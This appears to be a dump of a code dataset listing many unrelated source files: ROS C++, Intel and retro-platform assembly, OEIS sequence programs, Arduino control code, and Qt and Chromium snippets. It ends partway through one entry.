text stringlengths 1 1.05M |
|---|
#include <eigen_conversions/eigen_msg.h>
#include <nodelet/nodelet.h>
#include <ros/ros.h>
#include <tf/LinearMath/Quaternion.h>
#include <tf/transform_datatypes.h>
#include <tf/transform_listener.h>
#include <tf_conversions/tf_eigen.h>
#include <pluginlib/class_list_macros.hpp>
#include <odom_estimator/odometry.h>
#include <odom_estimator/unscented_transform.h>
#include <odom_estimator/util.h>
namespace odometry_utils
{
using namespace odom_estimator;
using namespace Eigen;
class transform_odometry : public nodelet::Nodelet
{
private:
std::string frame_id;
std::string child_frame_id;
tf::TransformListener listener;
ros::Subscriber sub;
ros::Publisher pub;
void handle(const nav_msgs::Odometry::ConstPtr &msgp)
{
tf::StampedTransform lefttransform;
try
{
listener.lookupTransform(frame_id, msgp->header.frame_id, ros::Time(0), lefttransform);
}
catch (tf::TransformException ex)
{
ROS_ERROR_THROTTLE(10.0, "%s", ex.what());
return;
}
tf::StampedTransform righttransform;
try
{
listener.lookupTransform(msgp->child_frame_id, child_frame_id, ros::Time(0), righttransform);
}
catch (tf::TransformException ex)
{
ROS_ERROR_THROTTLE(10.0, "%s", ex.what());
return;
}
Vector3d left_p;
tf::vectorTFToEigen(lefttransform.getOrigin(), left_p);
Quaterniond left_q;
tf::quaternionTFToEigen(lefttransform.getRotation(), left_q);
Vector3d right_p;
tf::vectorTFToEigen(righttransform.getOrigin(), right_p);
Quaterniond right_q;
tf::quaternionTFToEigen(righttransform.getRotation(), right_q);
EasyDistributionFunction<Odom, Odom, Vec<0> > transformer(
[this, &left_p, &left_q, &right_p, &right_q](Odom const &odom, Vec<0> const &extra) {
return Odom(odom.stamp, frame_id, child_frame_id,
left_p + left_q._transformVector(odom.pos + odom.orient._transformVector(right_p)),
left_q * odom.orient * right_q,
right_q.inverse()._transformVector(odom.vel - right_p.cross(odom.ang_vel)),
right_q.inverse()._transformVector(odom.ang_vel));
},
GaussianDistribution<Vec<0> >(Vec<0>(), SqMat<0>()));
pub.publish(msg_from_odom(transformer(odom_from_msg(*msgp))));
}
public:
transform_odometry()
{
}
virtual void onInit()
{
if (!getPrivateNodeHandle().getParam("frame_id", frame_id))
{
throw std::runtime_error("param frame_id required");
}
if (!getPrivateNodeHandle().getParam("child_frame_id", child_frame_id))
{
throw std::runtime_error("param child_frame_id required");
}
sub = getNodeHandle().subscribe<nav_msgs::Odometry>("orig_odom", 10,
boost::bind(&transform_odometry::handle, this, _1));
pub = getNodeHandle().advertise<nav_msgs::Odometry>("odom", 10);
}
};
PLUGINLIB_EXPORT_CLASS(odometry_utils::transform_odometry, nodelet::Nodelet);
}
|
###############################################################################
# Copyright 2019 Intel Corporation
# All Rights Reserved.
#
# If this software was obtained under the Intel Simplified Software License,
# the following terms apply:
#
# The source code, information and material ("Material") contained herein is
# owned by Intel Corporation or its suppliers or licensors, and title to such
# Material remains with Intel Corporation or its suppliers or licensors. The
# Material contains proprietary information of Intel or its suppliers and
# licensors. The Material is protected by worldwide copyright laws and treaty
# provisions. No part of the Material may be used, copied, reproduced,
# modified, published, uploaded, posted, transmitted, distributed or disclosed
# in any way without Intel's prior express written permission. No license under
# any patent, copyright or other intellectual property rights in the Material
# is granted to or conferred upon you, either expressly, by implication,
# inducement, estoppel or otherwise. Any license under such intellectual
# property rights must be express and approved by Intel in writing.
#
# Unless otherwise agreed by Intel in writing, you may not remove or alter this
# notice or any other notice embedded in Materials by Intel or Intel's
# suppliers or licensors in any way.
#
#
# If this software was obtained under the Apache License, Version 2.0 (the
# "License"), the following terms apply:
#
# You may not use this file except in compliance with the License. You may
# obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
#
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
#
# See the License for the specific language governing permissions and
# limitations under the License.
###############################################################################
.text
.p2align 5, 0x90
.globl _cpInc_BNU
_cpInc_BNU:
movslq %edx, %rdx
movq (%rsi), %r8
add %rcx, %r8
movq %r8, (%rdi)
lea (%rsi,%rdx,8), %rsi
lea (%rdi,%rdx,8), %rdi
lea (,%rdx,8), %rcx
sbb %rax, %rax
neg %rcx
add $(8), %rcx
jrcxz .Lexitgas_1
add %rax, %rax
jnc .Lcopygas_1
.p2align 5, 0x90
.Linc_loopgas_1:
movq (%rsi,%rcx), %r8
adc $(0), %r8
movq %r8, (%rdi,%rcx)
lea (8)(%rcx), %rcx
jrcxz .Lexit_loopgas_1
jnc .Lexit_loopgas_1
jmp .Linc_loopgas_1
.Lexit_loopgas_1:
sbb %rax, %rax
.Lcopygas_1:
cmp %rdi, %rsi
jz .Lexitgas_1
jrcxz .Lexitgas_1
.Lcopy_loopgas_1:
movq (%rsi,%rcx), %r8
movq %r8, (%rdi,%rcx)
add $(8), %rcx
jnz .Lcopy_loopgas_1
.Lexitgas_1:
neg %rax
vzeroupper
ret
.p2align 5, 0x90
.globl _cpDec_BNU
_cpDec_BNU:
movslq %edx, %rdx
movq (%rsi), %r8
sub %rcx, %r8
movq %r8, (%rdi)
lea (%rsi,%rdx,8), %rsi
lea (%rdi,%rdx,8), %rdi
lea (,%rdx,8), %rcx
sbb %rax, %rax
neg %rcx
add $(8), %rcx
jrcxz .Lexitgas_2
add %rax, %rax
jnc .Lcopygas_2
.p2align 5, 0x90
.Linc_loopgas_2:
movq (%rsi,%rcx), %r8
sbb $(0), %r8
movq %r8, (%rdi,%rcx)
lea (8)(%rcx), %rcx
jrcxz .Lexit_loopgas_2
jnc .Lexit_loopgas_2
jmp .Linc_loopgas_2
.Lexit_loopgas_2:
sbb %rax, %rax
.Lcopygas_2:
cmp %rdi, %rsi
jz .Lexitgas_2
jrcxz .Lexitgas_2
.Lcopy_loopgas_2:
movq (%rsi,%rcx), %r8
movq %r8, (%rdi,%rcx)
add $(8), %rcx
jnz .Lcopy_loopgas_2
.Lexitgas_2:
neg %rax
vzeroupper
ret
|
// File: crn_vector.cpp
// See Copyright Notice and license at the end of inc/crnlib.h
#include "crn_core.h"
#include "crn_vector.h"
#include "crn_rand.h"
#include "crn_color.h"
#include "crn_vec.h"
namespace crnlib
{
bool elemental_vector::increase_capacity(uint min_new_capacity, bool grow_hint, uint element_size, object_mover pMover, bool nofail)
{
CRNLIB_ASSERT(m_size <= m_capacity);
#ifdef CRNLIB_64BIT_POINTERS
CRNLIB_ASSERT(min_new_capacity < (0x400000000ULL / element_size));
#else
CRNLIB_ASSERT(min_new_capacity < (0x7FFF0000U / element_size));
#endif
if (m_capacity >= min_new_capacity)
return true;
uint64 new_capacity = uint64(min_new_capacity);
if ((grow_hint) && (!math::is_power_of_2(new_capacity)))
new_capacity = math::next_pow2(new_capacity);
CRNLIB_ASSERT(new_capacity && (new_capacity > m_capacity));
const size_t desired_size = element_size * size_t(new_capacity);
size_t actual_size;
if (!pMover)
{
void* new_p = crnlib_realloc(m_p, desired_size, &actual_size, true);
if (!new_p)
{
if (nofail)
return false;
char buf[256];
#ifdef _MSC_VER
sprintf_s(buf, sizeof(buf), "vector: crnlib_realloc() failed allocating %u bytes", (uint)desired_size);
#else
sprintf(buf, "vector: crnlib_realloc() failed allocating %u bytes", (uint)desired_size);
#endif
CRNLIB_FAIL(buf);
}
m_p = new_p;
}
else
{
void* new_p = crnlib_malloc(desired_size, &actual_size);
if (!new_p)
{
if (nofail)
return false;
char buf[256];
#ifdef _MSC_VER
sprintf_s(buf, sizeof(buf), "vector: crnlib_malloc() failed allocating %u bytes", (uint)desired_size);
#else
sprintf(buf, "vector: crnlib_malloc() failed allocating %u bytes", (uint)desired_size);
#endif
CRNLIB_FAIL(buf);
}
(*pMover)(new_p, m_p, m_size);
if (m_p)
crnlib_free(m_p);
m_p = new_p;
}
if (actual_size > desired_size)
m_capacity = static_cast<uint>(actual_size / element_size);
else
m_capacity = static_cast<uint>(new_capacity);
return true;
}
} // namespace crnlib
|
; A052625: E.g.f. (1-x)^2/(1-2x+x^2-x^3).
; Submitted by Christian Krause
; 1,0,0,6,48,360,3600,45360,645120,10160640,177811200,3432844800,72329241600,1650160512000,40537905408000,1067062284288000,29961435119616000,893842506805248000,28234468042260480000
mov $2,$0
mul $0,2
seq $0,291289 ; The Padovan sequence A000931 doubled.
lpb $2
mul $0,$2
sub $2,1
lpe
div $0,2
|
// Copyright 2019 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "chromeos/services/assistant/test_support/scoped_assistant_client.h"
namespace chromeos {
namespace assistant {
ScopedAssistantClient::ScopedAssistantClient() = default;
ScopedAssistantClient::~ScopedAssistantClient() = default;
AssistantClient& ScopedAssistantClient::Get() {
return *AssistantClient::Get();
}
void ScopedAssistantClient::SetMediaControllerManager(
mojo::Receiver<media_session::mojom::MediaControllerManager>* receiver) {
media_controller_manager_receiver_ = receiver;
}
void ScopedAssistantClient::RequestMediaControllerManager(
mojo::PendingReceiver<media_session::mojom::MediaControllerManager>
receiver) {
if (media_controller_manager_receiver_) {
media_controller_manager_receiver_->reset();
media_controller_manager_receiver_->Bind(std::move(receiver));
}
}
} // namespace assistant
} // namespace chromeos
|
#include "Settings.h"
#include <Arduino.h>
#include "Vehicle.h"
Vehicle::Vehicle(){
}
Vehicle::~Vehicle(){
}
//Calls the initialization of all 3 objects
void Vehicle::initialize() {
throttle.initialize();
brake.initialize();
steer.initialize(computeAngleLeft());
}
void Vehicle::eStop() {
if (SerialPrint)
Serial.println("Brake");
brake.Stop();
throttle.stop();
}
void Vehicle::stop(double strength) {
throttle.stop(strength);
}
/*
Side note: if the brakes are more emergency brakes
should we be calling the brakes here?
*/
void Vehicle::move(double dAngle, double dSpeed) {
if (dSpeed < (throttle.getSpeedInput_mmPs() + 10))
brake.Stop();
else {
brake.Release();
throttle.setDesiredSpeed__mmPs(dSpeed);
}
steer.setDesiredTurn(dAngle);
}
/*
This is part of our demo code that
does not use the pids
*/
void Vehicle::noPID(double dAngle,double dSpeed){
steer.engageSteering(dAngle);
brake.Release();
throttle.engageThrottle(dSpeed);
}
/*
Checks if the brakes have been on too long
Computes the speed and angle
*/
void Vehicle::update() {
brake.Check();
throttle.updateSpeed();
steer.updateAngle(computeAngleLeft());
}
long Vehicle::computeAngleLeft() {
long val = analogRead(AngleSensorLeft);
val = map(val, MIN_Left_Sensor, MAX_Left_Sensor, MIN_TURN, MAX_TURN);
return val;
}
long Vehicle::computeAngleRight() {
long val = analogRead(AngleSensorRight);
val = map(val, MIN_Right_Sensor, MAX_Right_Sensor, MIN_TURN, MAX_TURN);
return val;
}
|
SSAnne5Script:
call EnableAutoTextBoxDrawing
ld hl, SSAnne5TrainerHeader0
ld de, SSAnne5ScriptPointers
ld a, [wSSAnne5CurScript]
call ExecuteCurMapScriptInTable
ld [wSSAnne5CurScript], a
ret
SSAnne5ScriptPointers:
dw CheckFightingMapTrainers
dw DisplayEnemyTrainerTextAndStartBattle
dw EndTrainerBattle
SSAnne5TextPointers:
dw SSAnne5Text1
dw SSAnne5Text2
dw SSAnne5Text3
dw SSAnne5Text4
dw SSAnne5Text5
SSAnne5TrainerHeader0:
dbEventFlagBit EVENT_BEAT_SS_ANNE_5_TRAINER_0
db ($3 << 4) ; trainer's view range
dwEventFlagAddress EVENT_BEAT_SS_ANNE_5_TRAINER_0
dw SSAnne5BattleText1 ; TextBeforeBattle
dw SSAnne5AfterBattleText1 ; TextAfterBattle
dw SSAnne5EndBattleText1 ; TextEndBattle
dw SSAnne5EndBattleText1 ; TextEndBattle
SSAnne5TrainerHeader1:
dbEventFlagBit EVENT_BEAT_SS_ANNE_5_TRAINER_1
db ($3 << 4) ; trainer's view range
dwEventFlagAddress EVENT_BEAT_SS_ANNE_5_TRAINER_1
dw SSAnne5BattleText2 ; TextBeforeBattle
dw SSAnne5AfterBattleText2 ; TextAfterBattle
dw SSAnne5EndBattleText2 ; TextEndBattle
dw SSAnne5EndBattleText2 ; TextEndBattle
db $ff
SSAnne5Text1:
TX_FAR _SSAnne5Text1
db "@"
SSAnne5Text2:
TX_FAR _SSAnne5Text2
db "@"
SSAnne5Text3:
TX_FAR _SSAnne5Text3
db "@"
SSAnne5Text4:
TX_ASM
ld hl, SSAnne5TrainerHeader0
call TalkToTrainer
jp TextScriptEnd
SSAnne5BattleText1:
TX_FAR _SSAnne5BattleText1
db "@"
SSAnne5EndBattleText1:
TX_FAR _SSAnne5EndBattleText1
db "@"
SSAnne5AfterBattleText1:
TX_FAR _SSAnne5AfterBattleText1
db "@"
SSAnne5Text5:
TX_ASM
ld hl, SSAnne5TrainerHeader1
call TalkToTrainer
jp TextScriptEnd
SSAnne5BattleText2:
TX_FAR _SSAnne5BattleText2
db "@"
SSAnne5EndBattleText2:
TX_FAR _SSAnne5EndBattleText2
db "@"
SSAnne5AfterBattleText2:
TX_FAR _SSAnne5AfterBattleText2
db "@"
|
/*
Copyright (c) 2008-2017, Benoit AUTHEMAN All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
* Neither the name of the author or Destrat.io nor the
names of its contributors may be used to endorse or promote products
derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL AUTHOR BE LIABLE FOR ANY
DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
//-----------------------------------------------------------------------------
// This file is a part of the QuickContainers library.
//
// \file qcmContainerModelComposerWatcher.cpp
// \author benoit@destrat.io
// \date 2016 11 28
//-----------------------------------------------------------------------------
// Qt headers
#include <QDebug>
// QuickContainers headers
#include "./qcmContainerModelComposerWatcher.h"
namespace qcm { // ::qcm
/* ContainerModelComposerWatcher Management *///-------------------------------
void ContainerModelComposerWatcher::onSourceModelAboutToBeReset() { /* empty */ }
void ContainerModelComposerWatcher::onSourceModelReset() { /* empty */ }
void ContainerModelComposerWatcher::onSourceDataChanged(const QModelIndex &topLeft, const QModelIndex &bottomRight,
const QVector<int> &roles)
{
Q_UNUSED(topLeft);
Q_UNUSED(bottomRight);
Q_UNUSED(roles);
}
void ContainerModelComposerWatcher::onSourceRowsInserted(const QModelIndex &parent, int first, int last)
{
Q_UNUSED(parent);
Q_UNUSED(first);
Q_UNUSED(last);
}
void ContainerModelComposerWatcher::onSourceRowsAboutToBeRemoved(const QModelIndex &parent, int first, int last)
{
Q_UNUSED(parent);
Q_UNUSED(first);
Q_UNUSED(last);
}
void ContainerModelComposerWatcher::connectSource(QAbstractListModel* source) {
if ( source == nullptr )
return;
connect( source, &QAbstractListModel::modelAboutToBeReset,
this, &ContainerModelComposerWatcher::onSourceModelAboutToBeReset );
connect( source, &QAbstractListModel::modelReset,
this, &ContainerModelComposerWatcher::onSourceModelReset );
connect( source, &QAbstractListModel::dataChanged,
this, &ContainerModelComposerWatcher::onSourceDataChanged );
connect( source, &QAbstractListModel::modelReset,
this, &ContainerModelComposerWatcher::onSourceModelReset );
connect( source, &QAbstractListModel::rowsInserted,
this, &ContainerModelComposerWatcher::onSourceRowsInserted );
connect( source, &QAbstractListModel::rowsAboutToBeRemoved,
this, &ContainerModelComposerWatcher::onSourceRowsAboutToBeRemoved );
}
//! Disconnect a source from this composed model.
void ContainerModelComposerWatcher::disconnectSource(QAbstractListModel* source) {
if ( source != nullptr )
disconnect( source, 0, this, 0 );
}
//-----------------------------------------------------------------------------
} // ::qcm
|
/*
* All Video Processing kernels
* Copyright © <2010>, Intel Corporation.
*
* This program is licensed under the terms and conditions of the
* Eclipse Public License (EPL), version 1.0. The full text of the EPL is at
* http://www.opensource.org/licenses/eclipse-1.0.php.
*
*/
//---------- PA_AVS_IEF_Unpack_8x8.asm ----------
// Yoni: In order to optimize unpacking, 3 methods are being checked:
// 1. AVS_ORIGINAL
// 2. AVS_ROUND_TO_8_BITS
// 3. AVS_INDIRECT_ACCESS
//
// Only 1 method should stay in the code
//#define AVS_ROUND_TO_8_BITS
//#define AVS_INDIRECT_ACCESS
// Move first 8x8 words of Y to dest GRF
mov (8) uwDEST_Y(0)<1> ubAVS_RESPONSE(2,1)<16;4,2>
mov (8) uwDEST_Y(1)<1> ubAVS_RESPONSE(2,8+1)<16;4,2>
mov (8) uwDEST_Y(2)<1> ubAVS_RESPONSE(3,1)<16;4,2>
mov (8) uwDEST_Y(3)<1> ubAVS_RESPONSE(3,8+1)<16;4,2>
mov (8) uwDEST_Y(4)<1> ubAVS_RESPONSE(8,1)<16;4,2>
mov (8) uwDEST_Y(5)<1> ubAVS_RESPONSE(8,8+1)<16;4,2>
mov (8) uwDEST_Y(6)<1> ubAVS_RESPONSE(9,1)<16;4,2>
mov (8) uwDEST_Y(7)<1> ubAVS_RESPONSE(9,8+1)<16;4,2>
// Move first 4x8 words of V to dest GRF
mov (4) uwDEST_V(0)<1> ubAVS_RESPONSE(0,1)<16;2,4>
mov (4) uwDEST_V(0,8)<1> ubAVS_RESPONSE(0,8+1)<16;2,4>
mov (4) uwDEST_V(1)<1> ubAVS_RESPONSE(1,1)<16;2,4>
mov (4) uwDEST_V(1,8)<1> ubAVS_RESPONSE(1,8+1)<16;2,4>
mov (4) uwDEST_V(2)<1> ubAVS_RESPONSE(6,1)<16;2,4>
mov (4) uwDEST_V(2,8)<1> ubAVS_RESPONSE(6,8+1)<16;2,4>
mov (4) uwDEST_V(3)<1> ubAVS_RESPONSE(7,1)<16;2,4>
mov (4) uwDEST_V(3,8)<1> ubAVS_RESPONSE(7,8+1)<16;2,4>
// Move first 4x8 words of U to dest GRF
mov (4) uwDEST_U(0)<1> ubAVS_RESPONSE(4,1)<16;2,4>
mov (4) uwDEST_U(0,8)<1> ubAVS_RESPONSE(4,8+1)<16;2,4>
mov (4) uwDEST_U(1)<1> ubAVS_RESPONSE(5,1)<16;2,4>
mov (4) uwDEST_U(1,8)<1> ubAVS_RESPONSE(5,8+1)<16;2,4>
mov (4) uwDEST_U(2)<1> ubAVS_RESPONSE(10,1)<16;2,4>
mov (4) uwDEST_U(2,8)<1> ubAVS_RESPONSE(10,8+1)<16;2,4>
mov (4) uwDEST_U(3)<1> ubAVS_RESPONSE(11,1)<16;2,4>
mov (4) uwDEST_U(3,8)<1> ubAVS_RESPONSE(11,8+1)<16;2,4>
// Move second 8x8 words of Y to dest GRF
mov (8) uwDEST_Y(0,8)<1> ubAVS_RESPONSE_2(2,1)<16;4,2>
mov (8) uwDEST_Y(1,8)<1> ubAVS_RESPONSE_2(2,8+1)<16;4,2>
mov (8) uwDEST_Y(2,8)<1> ubAVS_RESPONSE_2(3,1)<16;4,2>
mov (8) uwDEST_Y(3,8)<1> ubAVS_RESPONSE_2(3,8+1)<16;4,2>
mov (8) uwDEST_Y(4,8)<1> ubAVS_RESPONSE_2(8,1)<16;4,2>
mov (8) uwDEST_Y(5,8)<1> ubAVS_RESPONSE_2(8,8+1)<16;4,2>
mov (8) uwDEST_Y(6,8)<1> ubAVS_RESPONSE_2(9,1)<16;4,2>
mov (8) uwDEST_Y(7,8)<1> ubAVS_RESPONSE_2(9,8+1)<16;4,2>
// Move second 4x8 words of V to dest GRF
mov (4) uwDEST_V(0,4)<1> ubAVS_RESPONSE_2(0,1)<16;2,4>
mov (4) uwDEST_V(0,12)<1> ubAVS_RESPONSE_2(0,8+1)<16;2,4>
mov (4) uwDEST_V(1,4)<1> ubAVS_RESPONSE_2(1,1)<16;2,4>
mov (4) uwDEST_V(1,12)<1> ubAVS_RESPONSE_2(1,8+1)<16;2,4>
mov (4) uwDEST_V(2,4)<1> ubAVS_RESPONSE_2(6,1)<16;2,4>
mov (4) uwDEST_V(2,12)<1> ubAVS_RESPONSE_2(6,8+1)<16;2,4>
mov (4) uwDEST_V(3,4)<1> ubAVS_RESPONSE_2(7,1)<16;2,4>
mov (4) uwDEST_V(3,12)<1> ubAVS_RESPONSE_2(7,8+1)<16;2,4>
// Move second 4x8 words of U to dest GRF
mov (4) uwDEST_U(0,4)<1> ubAVS_RESPONSE_2(4,1)<16;2,4>
mov (4) uwDEST_U(0,12)<1> ubAVS_RESPONSE_2(4,8+1)<16;2,4>
mov (4) uwDEST_U(1,4)<1> ubAVS_RESPONSE_2(5,1)<16;2,4>
mov (4) uwDEST_U(1,12)<1> ubAVS_RESPONSE_2(5,8+1)<16;2,4>
mov (4) uwDEST_U(2,4)<1> ubAVS_RESPONSE_2(10,1)<16;2,4>
mov (4) uwDEST_U(2,12)<1> ubAVS_RESPONSE_2(10,8+1)<16;2,4>
mov (4) uwDEST_U(3,4)<1> ubAVS_RESPONSE_2(11,1)<16;2,4>
mov (4) uwDEST_U(3,12)<1> ubAVS_RESPONSE_2(11,8+1)<16;2,4>
//------------------------------------------------------------------------------
// Re-define new number of lines
#undef nUV_NUM_OF_ROWS
#undef nY_NUM_OF_ROWS
#define nY_NUM_OF_ROWS 8
#define nUV_NUM_OF_ROWS 8
|
section .text
%ifdef TEST2x64
global foo
%else
global _foo
%endif
%include "foo-proc.asm"
|
#if defined(Hiro_Widget)
namespace hiro {
struct pWidget : pSizable {
Declare(Widget, Sizable)
auto focused() const -> bool override;
auto setEnabled(bool enabled) -> void override;
auto setFocused() -> void override;
auto setFont(const Font& font) -> void override;
auto setGeometry(Geometry geometry) -> void override;
auto setVisible(bool visible) -> void override;
QWidget* qtWidget = nullptr;
};
}
#endif
|
SECTION code_clib
PUBLIC res_MODE0
EXTERN CONSOLE_ROWS
EXTERN CONSOLE_COLUMNS
.res_MODE0
ld a,l
cp CONSOLE_ROWS * 2
ret nc
ld a,h
cp CONSOLE_COLUMNS * 2
ret nc
defc NEEDunplot = 1
INCLUDE "gfx/gencon/pixel.inc"
|
aLine 0
gNew delPtr
gMoveNext delPtr, Root
aLine 1
gBne delPtr, Root, 3
aLine 2
Exception EMPTY_LIST
aLine 4
gBne delPtr, Rear, 3
aLine 5
gMove Rear, Root
aLine 7
nMoveRelOut delPtr, delPtr, 100
gNewVPtr delNext
gMoveNext delNext, delPtr
pSetNext Root, delNext
aLine 8
pDeleteNext delPtr
nDelete delPtr
gDelete delPtr
gDelete delNext
aLine 9
aStd
Halt |
; A074057: 2*phi(n-2)-(n-1).
; 0,-1,0,-1,2,-3,4,-1,2,-3,8,-5,10,-3,0,-1,14,-7,16,-5,2,-3,20,-9,14,-3,8,-5,26,-15,28,-1,6,-3,12,-13,34,-3,8,-9,38,-19,40,-5,2,-3,44,-17,34,-11,12,-5,50,-19,24,-9,14,-3,56,-29,58,-3,8,-1,30,-27,64,-5,18,-23,68,-25,70,-3,4,-5,42,-31,76,-17,26,-3,80
mov $1,$0
cal $1,10 ; Euler totient function phi(n): count numbers <= n and prime to n.
sub $0,$1
sub $1,$0
sub $1,2
|
;
; Memotech MTX stdio
;
; getk() Read key status
;
; Stefano Bodrato - Aug. 2010
;
;
; $Id: getk.asm,v 1.3+ (now on GIT) $
;
SECTION code_clib
PUBLIC getk
PUBLIC _getk
.getk
._getk
call $79
ld hl,0
ret z
IF STANDARDESCAPECHARS
cp 13
jr nz,not_return
ld a,10
.not_return
ENDIF
ld l,a
ret
|
;
; ZX IF1 & Microdrive functions
;
; if1_checksum (internal routine)
;
; check BC bytes starting from HL
; and compare with the following byte
;
; $Id: if1_checksum.asm,v 1.1 2004/10/08 12:33:23 stefano Exp $
;
XLIB if1_checksum
if1_checksum:
push hl
ld e,0
nxt_byte:
ld a,e
add (hl)
inc hl
adc 1
jr z,noround
dec a
noround: ld e,a
dec bc
ld a,b
or c
jr nz,nxt_byte
ld a,e
cp (hl)
pop hl
ret
|
#include "lucipch.h"
#include "Luci/Debug/Log.h"
#include <spdlog/sinks/stdout_color_sinks.h>
#include <spdlog/sinks/basic_file_sink.h>
namespace Luci {
Ref<spdlog::logger> Log::s_CoreLogger;
Ref<spdlog::logger> Log::s_ClientLogger;
void Log::Initialize() {
std::vector<spdlog::sink_ptr> logSinks;
logSinks.emplace_back(std::make_shared<spdlog::sinks::stdout_color_sink_mt>());
logSinks.emplace_back(std::make_shared<spdlog::sinks::basic_file_sink_mt>("Luci.log", true));
logSinks[0]->set_pattern("%^[%T] %n: %v%$");
logSinks[1]->set_pattern("[%T] [%l] %n: %v");
s_CoreLogger = std::make_shared<spdlog::logger>("LUCI", begin(logSinks), end(logSinks));
spdlog::register_logger(s_CoreLogger);
s_CoreLogger->set_level(spdlog::level::trace);
s_CoreLogger->flush_on(spdlog::level::trace);
s_ClientLogger = std::make_shared<spdlog::logger>("APP", begin(logSinks), end(logSinks));
spdlog::register_logger(s_ClientLogger);
s_ClientLogger->set_level(spdlog::level::trace);
s_ClientLogger->flush_on(spdlog::level::trace);
}
}
|
; A028745: Nonsquares mod 32.
; 2,3,5,6,7,8,10,11,12,13,14,15,18,19,20,21,22,23,24,26,27,28,29,30,31
mov $4,$0
lpb $0
add $1,2
add $2,$1
sub $0,$2
trn $0,$2
add $0,$2
sub $0,1
add $3,1
add $5,$1
mov $1,$3
mov $3,$2
trn $2,$5
lpe
mov $1,$2
add $1,1
add $1,$3
trn $1,2
lpb $4
add $1,1
sub $4,1
lpe
add $1,2
|
; 8086 assembly file
; by:czfshine
; date: 2018/04/12 10:46:38
;试编写一段程序,从键盘接收一个-32768-32767间的十进制有符号数,
;并在终端上显示与它等值的二进制数。
; The Main Data segment
include scan.inc
DATA SEGMENT
DATA ENDS
;entry code segment
CODE SEGMENT
ASSUME CS:CODE ,DS:DATA
START: ;entry point
MOV AX,DATA
MOV DS,AX
mov di,10
call inputnumbybase
cmp di,1
jne put
neg bx
put:
mov si,2
call rebase
MOV AH,4CH ;return
INT 21H
CODE ENDS
END START |
; ---------------------------------------------------------------------------
; Object 5D - fans (SLZ)
; ---------------------------------------------------------------------------
Fan:
moveq #0,d0
move.b obRoutine(a0),d0
move.w Fan_Index(pc,d0.w),d1
jmp Fan_Index(pc,d1.w)
; ===========================================================================
Fan_Index: dc.w Fan_Main-Fan_Index
dc.w Fan_Delay-Fan_Index
fan_time: equ $30 ; time between switching on/off
fan_switch: equ $32 ; on/off switch
; ===========================================================================
Fan_Main: ; Routine 0
addq.b #2,obRoutine(a0)
move.l #Map_Fan,obMap(a0)
move.w #$43A0,obGfx(a0)
ori.b #4,obRender(a0)
move.b #$10,obActWid(a0)
move.b #4,obPriority(a0)
Fan_Delay: ; Routine 2
btst #1,obSubtype(a0) ; is object type 02/03 (always on)?
bne.s @blow ; if yes, branch
subq.w #1,fan_time(a0) ; subtract 1 from time delay
bpl.s @blow ; if time remains, branch
move.w #120,fan_time(a0) ; set delay to 2 seconds
bchg #0,fan_switch(a0) ; switch fan on/off
beq.s @blow ; if fan is off, branch
move.w #180,fan_time(a0) ; set delay to 3 seconds
@blow:
tst.b fan_switch(a0) ; is fan switched on?
bne.w @chkdel ; if not, branch
lea (v_player).w,a1
move.w obX(a1),d0
sub.w obX(a0),d0
btst #0,obStatus(a0) ; is fan facing right?
bne.s @chksonic ; if yes, branch
neg.w d0
@chksonic:
addi.w #$50,d0
cmpi.w #$F0,d0 ; is Sonic more than $A0 pixels from the fan?
bcc.s @animate ; if yes, branch
move.w obY(a1),d1
addi.w #$60,d1
sub.w obY(a0),d1
bcs.s @animate ; branch if Sonic is too low
cmpi.w #$70,d1
bcc.s @animate ; branch if Sonic is too high
subi.w #$50,d0 ; is Sonic more than $50 pixels from the fan?
bcc.s @faraway ; if yes, branch
not.w d0
add.w d0,d0
@faraway:
addi.w #$60,d0
btst #0,obStatus(a0) ; is fan facing right?
bne.s @right ; if yes, branch
neg.w d0
@right:
neg.b d0
asr.w #4,d0
btst #0,obSubtype(a0)
beq.s @movesonic
neg.w d0
@movesonic:
add.w d0,obX(a1) ; push Sonic away from the fan
@animate:
subq.b #1,obTimeFrame(a0)
bpl.s @chkdel
move.b #0,obTimeFrame(a0)
addq.b #1,obAniFrame(a0)
cmpi.b #3,obAniFrame(a0)
bcs.s @noreset
move.b #0,obAniFrame(a0) ; reset after 4 frames
@noreset:
moveq #0,d0
btst #0,obSubtype(a0)
beq.s @noflip
moveq #2,d0
@noflip:
add.b obAniFrame(a0),d0
move.b d0,obFrame(a0)
@chkdel:
bsr.w DisplaySprite
out_of_range DeleteObject
rts
|
;
; CPC Maths Routines
;
; August 2003 **_|warp6|_** <kbaccam /at/ free.fr>
;
; $Id: log10.asm,v 1.3 2015/01/21 10:56:29 stefano Exp $
;
INCLUDE "cpcfirm.def"
INCLUDE "cpcfp.def"
PUBLIC log10
PUBLIC log10c
EXTERN get_para
.log10 call get_para
call firmware
.log10c defw CPCFP_FLO_LOG10
ret
|
; A293673: a(n) is the integer k that minimizes |k/Fibonacci(n) - 4/5|.
